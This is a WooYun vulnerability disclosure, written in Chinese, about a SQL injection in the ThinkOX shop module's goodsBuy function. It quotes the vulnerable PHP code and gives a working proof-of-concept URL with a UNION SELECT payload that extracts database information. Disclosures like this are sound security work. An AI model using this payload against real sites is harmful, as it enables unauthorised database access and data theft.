当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-087530

漏洞标题:ThinkOX 最新版 SQL 注入漏洞 #4

相关厂商:ThinkOX

漏洞作者: Ricter

提交时间:2014-12-22 10:11

修复时间:2015-03-22 10:12

公开时间:2015-03-22 10:12

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:5

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-12-22: 积极联系厂商并且等待厂商认领中,细节不对外公开
2015-03-22: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

ThinkOX 参数过滤不严格导致 SQL 注入漏洞。

详细说明:

/Application/Shop/Controller/IndexController.class.php

/**
* 购买商品
* @param int $id
* @param int $num
* @author 郑钟良<[email protected]>
*/
public function goodsBuy($id = 0, $name = '', $address = '', $zipcode = '', $phone = '', $address_id = '')
{
$address = op_t($address);
$address_id = intval($address_id);
$num = 1;
if (!is_login()) {
$this->error('请先登录!');
}
$goods = D('shop')->where('id=' . $id)->find();
if ($goods) {
if($num<=0){
$this->error('商品购买数量不能为负数。');
}
//验证开始
//判断商品余量
if ($num > $goods['goods_num']) {
$this->error('商品余量不足');
}
//扣tox_money
$tox_money_need = $num * $goods['tox_money_need'];
$my_tox_money = getMyToxMoney();


商品的id未经过过滤,并且用拼接的方式带入where查询,导致注入。
_(:з」∠)_为什么address和address_id过滤了id却不过滤呢。。

漏洞证明:

用户登录后访问地址:

http://10.211.55.3/thinkox/index.php?s=/shop/index/goodsBuy/name/%E5%95%8A/address/a/zipcode/123456/phone/13322222222/id/1)union%20select%201,user(),3,4,5,-9999,7,8,9,10,11,12,13%23.html


然后再访问:

http://10.211.55.3/thinkox/index.php?s=/usercenter/public/getinformation.html


1.png

修复方案:

过滤

版权声明:转载请注明来源 Ricter@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝